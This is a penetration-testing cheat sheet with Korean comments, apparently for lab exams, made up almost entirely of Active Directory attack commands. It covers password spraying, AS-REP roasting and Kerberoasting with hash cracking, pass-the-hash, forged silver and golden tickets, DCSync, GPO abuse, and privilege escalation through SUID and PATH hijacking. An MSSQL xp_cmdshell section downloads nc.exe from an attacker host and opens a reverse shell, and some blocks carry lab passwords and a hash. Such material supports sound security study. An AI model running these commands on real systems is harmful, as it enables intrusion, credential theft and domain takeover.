20
21# 공유 검색
22Find-DomainShare

1# ldapdomaindump — LDAP 전체 덤프 (사용자·그룹·컴퓨터·도메인 정책)
2ldapdomaindump -u '<DOMAIN>\<USER>' -p '<PASS>' <DC_IP>
3proxychains ldapdomaindump -u '<DOMAIN>\<USER>' -p '<PASS>' <DC_IP>
4
5# 결과 파일 (현재 디렉토리)
6cat domain_users.grep | grep -i "admin"   # 관리자 그룹 필터
7cat domain_users.grep | grep -i "domain"  # Domain Admins 확인

1# nltest — DC 목록 조회 (도메인 내부에서)
2nltest /dclist:<DOMAIN>
3
4# systeminfo로 도메인·DC 확인
5systeminfo | findstr /i "domain"
6nslookup <DOMAIN>

1# GPO 목록 확인
2Get-GPO -All
3
4# 현재 사용자의 GPO 권한 확인 (GpoEditDeleteModifySecurity 있으면 악용 가능)
5Get-GPPermission -All -Name "Default Domain Policy"

1# SharpGPOAbuse — GPO에 로컬 관리자 추가
2iwr http://<KALI>/SharpGPOAbuse.exe -Outfile SharpGPOAbuse.exe
3.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <USER> --GPOName "Default Domain Policy"
4
5# GPO 즉시 갱신 + 세션 재접속 필요
6gpupdate /force

1ls \\<DC>\sysvol\<DOMAIN>\Policies\
2cat \\<DC>\sysvol\<DOMAIN>\Policies\oldpolicy\old-policy-backup.xml

1# GPP cpassword 복호화
2gpp-decrypt "<cpassword_value>"

 1# 단일 확인
 2nxc smb <IP> -u <USER> -p '<PASS>' -d <DOMAIN>
 3nxc winrm <IP> -u <USER> -p '<PASS>' -d <DOMAIN>
 4nxc rdp <IP> -u <USER> -p '<PASS>' -d <DOMAIN>
 5nxc ldap <IP> -u <USER> -p '<PASS>' -d <DOMAIN>
 6
 7# 로컬 계정으로 인증 (도메인 계정 아닐 때 필수)
 8nxc smb <IP> -u Administrator -p '<PASS>' --local-auth
 9crackmapexec smb <IP> -u Administrator -p '<PASS>' --local-auth
10
11# PTH
12nxc smb <IP> -u <USER> -H <NTLM_HASH> -d <DOMAIN>
13
14# 범위 스프레이 (새 크레덴셜 얻을 때마다 전체 대입)
15for proto in smb winrm rdp ldap; do
16    nxc $proto 192.168.x.0/24 -u <USER> -p '<PASS>' -d <DOMAIN> 2>/dev/null | grep -i "pwn3d\|success\|+"
17done
18
19# 공유 열거
20nxc smb <IP> -u <USER> -p '<PASS>' -d <DOMAIN> --shares

1# DC 시간 확인 (evil-winrm 세션에서)
2(Get-Date).ToUniversalTime.ToString("yyyy-MM-dd HH:mm:ss")
3
4# Kali 시간 동기화
5sudo timedatectl set-ntp off
6sudo date -s "2026-08-13 13:39:40"
7
8# 또는 ntpdate
9sudo ntpdate <DC_IP>

1# Windows: Kerbrute
2.\kerbrute_windows_amd64.exe passwordspray -d <DOMAIN> .\user.txt "<PASS>"
3
4# Spray-Passwords.ps1
5.\Spray-Passwords.ps1 -Pass Nexus123! -Admin

1# CrackMapExec / NetExec
2crackmapexec smb <DC_IP> -u users.txt -p '<PASS>' -d <DOMAIN> --continue-on-success
3nxc smb <DC_IP> -u users.txt -p '<PASS>' -d <DOMAIN> --continue-on-success

1# 실명 발견 시 사용자명 변형 생성 (예: 웹/LDAP에서 "Hugo Smith" 확인)
2# 패턴: firstname.lastname / flastname / firstlast / f.lastname / lastname.firstname
3printf "%s\n" hugo.smith hsmith hugosmith h.smith smith.hugo > users.txt
4
5# 사용자명 리스트로 AS-REP Roasting (크레덴셜 없이)
6impacket-GetNPUsers <DOMAIN>/ \
7  -usersfile users.txt \
8  -dc-ip <DC_IP> \
9  -no-pass

1# Kali (크레덴셜 없이도 가능)
2impacket-GetNPUsers -dc-ip <DC_IP> -request -outputfile hashes.asreproast <DOMAIN>/
3
4# 크레덴셜 있을 때
5impacket-GetNPUsers -dc-ip <DC_IP> -request -outputfile hashes.asreproast <DOMAIN>/<USER>
6
7# 크랙 (m=18200)
8sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

1# Windows: Rubeus
2.\Rubeus.exe asreproast /nowrap

 1# Impacket (크레덴셜 필요)
 2sudo impacket-GetUserSPNs -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS>
 3
 4# 특정 사용자만 타겟
 5impacket-GetUserSPNs <DOMAIN>/<USER>:'<PASS>' \
 6  -dc-ip <DC_IP> \
 7  -request-user <TARGET_USER> \
 8  -outputfile <TARGET>.hash
 9
10# 크랙 (m=13100)
11sudo hashcat -m 13100 <TARGET>.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

1# Windows: Rubeus
2.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

 1# impacket psexec (ADMIN$ 쓰기 권한 필요)
 2impacket-psexec <DOMAIN>/<USER>@<IP> -hashes :<NTLM_HASH>
 3
 4# WMIExec (ADMIN$ 불필요, 흔적 적음)
 5impacket-wmiexec <DOMAIN>/<USER>@<IP> -hashes :<NTLM_HASH>
 6
 7# SMBExec
 8impacket-smbexec <DOMAIN>/<USER>@<IP> -hashes :<NTLM_HASH>
 9
10# evil-winrm
11evil-winrm -i <IP> -u <USER> -H <NTLM_HASH>
12
13# nxc
14nxc smb <IP> -u <USER> -H <NTLM_HASH> -d <DOMAIN>

 1# impacket-getTGT — NTLM 해시로 TGT(ccache) 발급
 2impacket-getTGT <DOMAIN>/<USER> -hashes :<NTLM_HASH> -dc-ip <DC_IP>
 3# Saving ticket in <USER>.ccache
 4
 5export KRB5CCNAME=<USER>.ccache
 6
 7# Linux (ccache 티켓으로 접속)
 8impacket-psexec -k -no-pass <DOMAIN>/<USER>@<TARGET>
 9impacket-smbclient -k -no-pass <DOMAIN>/<USER>@<TARGET>
10proxychains impacket-smbclient <DOMAIN>/<USER>:<PASS>@<DC_IP>

1# Linux (impacket) — 서비스 계정 해시로 TGS 직접 위조
2impacket-ticketer -nthash <SVC_NTLM_HASH> -domain-sid <DOMAIN_SID> \
3  -domain <DOMAIN> -spn cifs/<TARGET_FQDN> Administrator
4# → Administrator.ccache 생성
5
6export KRB5CCNAME=Administrator.ccache
7impacket-smbclient -k -no-pass <DOMAIN>/Administrator@<TARGET_FQDN>
8impacket-psexec    -k -no-pass <DOMAIN>/Administrator@<TARGET_FQDN>

1# 도메인 SID 확인법
2impacket-getPac -targetUser <ANY_USER> <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP>
3# 또는
4lookupsid.py <DOMAIN>/<USER>:<PASS>@<DC_IP> | grep "Domain SID"

1# impacket
2impacket-ticketer -nthash <KRBTGT_NTLM> -domain-sid <DOMAIN_SID> \
3  -domain <DOMAIN> Administrator
4export KRB5CCNAME=Administrator.ccache
5impacket-psexec -k -no-pass <DOMAIN>/Administrator@<DC_FQDN>

1# 단일 사용자 해시 추출
2impacket-secretsdump -just-dc-user administrator <DOMAIN>/<USER>:"<PASS>"@<DC_IP>
3
4# krbtgt (Golden Ticket용)
5impacket-secretsdump -just-dc-user krbtgt <DOMAIN>/<USER>:"<PASS>"@<DC_IP>
6
7# NTLM 크랙 (m=1000)
8hashcat -m 1000 <HASH> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

1# hashcat 모드 5200
2sudo hashcat -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt
3
4# 파일 열기
5sudo apt install passwordsafe
6pwsafe Backup.psafe3

1# Kali HTTP 서버
2python3 -m http.server 80
3sudo systemctl start apache2

1# Windows 다운로드
2iwr -uri http://<KALI_IP>/file.exe -Outfile file.exe
3certutil -urlcache -split -f http://<KALI_IP>/file.exe file.exe

1# FTP 접속 (anonymous 또는 자격증명)
2ftp <IP>
3# Name: anonymous (엔터)
4# 또는 사용자명 입력
5ftp> ls
6ftp> get <FILE>
7ftp> put <FILE>
8ftp> binary   # 바이너리 모드 (exe, zip 등)

1# RDP (드라이브 공유 + 클립보드)
2xfreerdp3 /u:<USER> /p:'<PASS>' /v:<IP> /clipboard /dynamic-resolution /drive:share,/home/kali/Downloads
3
4# SMB 익명 열거
5smbclient -L //<IP> -N
6
7# SMB 자격증명 접속
8smbclient //<IP>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>'

 1# WinRM → evil-winrm (파일 업로드/다운로드 편함)
 2evil-winrm -i <IP> -u <USER> -p '<PASS>'
 3
 4# PsExec (SMB 445 + ADMIN$ 쓰기 권한 필요)
 5impacket-psexec <DOMAIN>/<USER>:<PASS>@<IP>
 6
 7# WMIExec (ADMIN$ 불필요, 흔적 적음)
 8impacket-wmiexec <DOMAIN>/<USER>:<PASS>@<IP>
 9
10# SMBExec (느리지만 AV 우회 유용)
11impacket-smbexec <DOMAIN>/<USER>:<PASS>@<IP>

1# 리스너
2nc -lvp 4444
3
4# 내부망 SMB 활성 호스트 스캔 (피봇 후)
5for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445 2>&1 | grep succeeded; done

1powershell -ep bypass
2Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass

1# heredoc으로 파일 생성 (특수문자 포함 시 유용)
2cat > script.txt << 'EOF'
3line1
4line2
5EOF
6
7# Windows 줄바꿈 변환 (diskshadow 등 Windows 명령어에 필요)
8unix2dos script.txt

 1# exploitdb 브라우저 검색
 2firefox --search "Apache 2.4.49 site:exploit-db.com"
 3
 4# NTLM/Kerberos 해시 형식 확인
 5hashcat --help | grep -i "kerberos"
 6hashcat --help | grep -i "ntlm"
 7
 8# curl HTTP 응답 확인
 9curl -I <IP>:80
10curl -s <IP>/page.php

1# Windows 인증으로 접속 (도메인 계정 사용)
2impacket-mssqlclient <DOMAIN>/<USER>:'<PASS>'@<IP> -windows-auth
3proxychains impacket-mssqlclient <DOMAIN>/<USER>:'<PASS>'@<IP> -windows-auth
4
5# SQL 인증으로 접속
6impacket-mssqlclient <IP> -U sa -P '<PASS>'
7
8# NTLM 해시로 접속
9impacket-mssqlclient <DOMAIN>/<USER>@<IP> -hashes :<NTLM_HASH> -windows-auth

 1-- xp_cmdshell 활성화
 2EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
 3EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
 4
 5-- 명령 실행
 6EXEC xp_cmdshell 'whoami';
 7EXEC xp_cmdshell 'whoami /priv';     -- SeImpersonatePrivilege 확인
 8EXEC xp_cmdshell 'net user';
 9
10-- 리버스 셸 (PowerShell)
11EXEC xp_cmdshell 'powershell -c "iwr http://<KALI>/nc.exe -Outfile C:\Windows\Temp\nc.exe"';
12EXEC xp_cmdshell 'C:\Windows\Temp\nc.exe <KALI> 4444 -e cmd.exe';
13
14-- SMB 공유에서 툴 복사 (피벗 호스트 공유 필요)
15EXEC xp_cmdshell 'net use \\<PIVOT>\share /user:Administrator <PASS>';
16EXEC xp_cmdshell 'copy \\<PIVOT>\share\po.exe C:\Windows\Temp\po.exe';
17EXEC xp_cmdshell 'C:\Windows\Temp\po.exe "cmd /c net user Administrator <PASS>"';

 1-- Impersonation 열거 (sysadmin 아닐 때)
 2SELECT * FROM sys.server_principals WHERE type = 'S';
 3SELECT distinct b.name FROM sys.server_permissions a
 4  INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
 5  WHERE a.permission_name = 'IMPERSONATE';
 6
 7-- Impersonation 실행
 8EXECUTE AS LOGIN = 'sa';
 9SELECT SYSTEM_USER;   -- sa 로 전환됐는지 확인
10EXEC xp_cmdshell 'whoami';

1# 피벗 호스트에서 SMB 공유 생성 (xp_cmdshell 툴 전송용)
2New-SmbShare -Name "share" -Path "C:\Users\<USER>\Documents" -FullAccess "Everyone"
3# 사용 후 정리
4Remove-SmbShare -Name "share" -Force

 1# .git 디렉토리 노출 확인
 2curl -s http://<IP>/.git/HEAD   # "ref: refs/heads/main" 이면 취약
 3
 4# git-dumper 설치 및 실행
 5pip install git-dumper --break-system-packages
 6git-dumper http://<IP>/.git /tmp/gitdump
 7
 8# 커밋 히스토리에서 자격증명 탐색
 9cd /tmp/gitdump
10git log -p --all | grep -i "password\|username\|passwd\|secret\|key"
11git log --oneline --all   # 커밋 목록
12git show <COMMIT_HASH>    # 특정 커밋 내용

 1# SUID bash 악용 (bash -p 플래그 필수)
 2bash -p     # effective uid 유지 (drop 비활성화)
 3# -p 없으면 SUID 권한 자동 drop → root 안 됨
 4
 5# SSH 로컬 포워딩 (JDWP 등 내부 포트 접근)
 6ssh -i <KEY> -L 8000:127.0.0.1:8000 <USER>@<IP>
 7# 이후 Kali에서 127.0.0.1:8000 으로 타겟 내부 포트 접근
 8
 9# JDWP RCE (root가 -Xdebug 포트 열었을 때)
10# 대상 머신에서 nc로 디버거 연결 트리거
11python2 jdwp-shellifier.py -t 127.0.0.1 -p 8000 --cmd "chmod +s /bin/bash"
12
13# PATH 하이재킹 (SUID 바이너리가 절대경로 없이 명령 호출할 때)
14# strings <SUID_BINARY> 로 호출하는 명령 확인 후
15cat > /tmp/<command> << 'EOF'
16#!/bin/bash
17cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
18EOF
19chmod +x /tmp/<command>
20export PATH=/tmp:$PATH
21./<SUID_BINARY>
22/tmp/rootbash -p    # root 셸

1# 사용 예시
2impacket-lookupsid 'cicada.htb/guest'@10.10.10.10 -no-pass
3impacket-samrdump scrm.local/sqlsvc:'Pegasus60'@dc1.scrm.local
4impacket-getPac -targetUser sqlsvc scrm.local/sqlsvc:'Pegasus60'

 1# AS-REP Roasting
 2impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -usersfile users.txt -dc-ip 10.10.10.10 -no-pass
 3
 4# Kerberoasting (NTLM 비활성 환경)
 5export KRB5CCNAME=user.ccache
 6impacket-GetUserSPNs scrm.local/sqlsvc -k -no-pass -dc-host dc1.scrm.local -request
 7
 8# Silver Ticket
 9impacket-ticketer -nthash <SVC_NTLM> -domain-sid <SID> -domain scrm.local -spn MSSQLSvc/dc1.scrm.local:1433 Administrator
10export KRB5CCNAME=Administrator.ccache

1# PTH
2impacket-psexec scrm.local/Administrator@10.10.10.10 -hashes :3dc553ce4b9fd20bd016e098d2d2fd2e
3
4# Kerberos (Silver Ticket 후)
5export KRB5CCNAME=Administrator.ccache
6impacket-mssqlclient -k -no-pass scrm.local/Administrator@dc1.scrm.local

1# DCSync
2impacket-secretsdump -just-dc-user administrator administrator.htb/ethan:"limpbizkit"@10.10.10.10
3
4# 로컬 파일 (SAM/SYSTEM 다운로드 후)
5impacket-secretsdump -sam SAM -system SYSTEM LOCAL
6
7# NTDS.dit 오프라인
8impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

1export KRB5CCNAME=user.ccache
2impacket-smbclient scrm.local/ksimpson@dc1.scrm.local -k -no-pass
3# shares → use Public → ls → get file.pdf

1# 익명 열거
2smbclient -L //10.10.10.10 -N
3
4# 자격증명 접속
5smbclient //10.10.10.10/HR -U 'cicada.htb/michael.wrightson%Cicada$M6Corpb*@Lp#nZp!8'
6
7# 피벗 (proxychains)
8proxychains smbclient //INTERNAL_IP/share -U user --password=pass

1# 전체 공유 재귀 다운로드
2smbclient //IP/SHARE -U 'domain/user%pass' -c 'prompt OFF; recurse ON; mget *'

 1# 공유 열거
 2nxc smb IP -u user -p 'pass' -d domain --shares
 3
 4# 사용자 열거
 5nxc smb IP -u '' -p '' --users          # 익명
 6nxc smb IP -u user -p 'pass' --users    # 인증
 7
 8# 패스워드 스프레이
 9nxc smb IP -d domain -u users.txt -p 'pass' --continue-on-success
10
11# PTH
12nxc smb IP -u administrator -H NTLM_HASH
13
14# 로컬 계정 (도메인 아닌 경우)
15nxc smb IP -u administrator -H NTLM_HASH --local-auth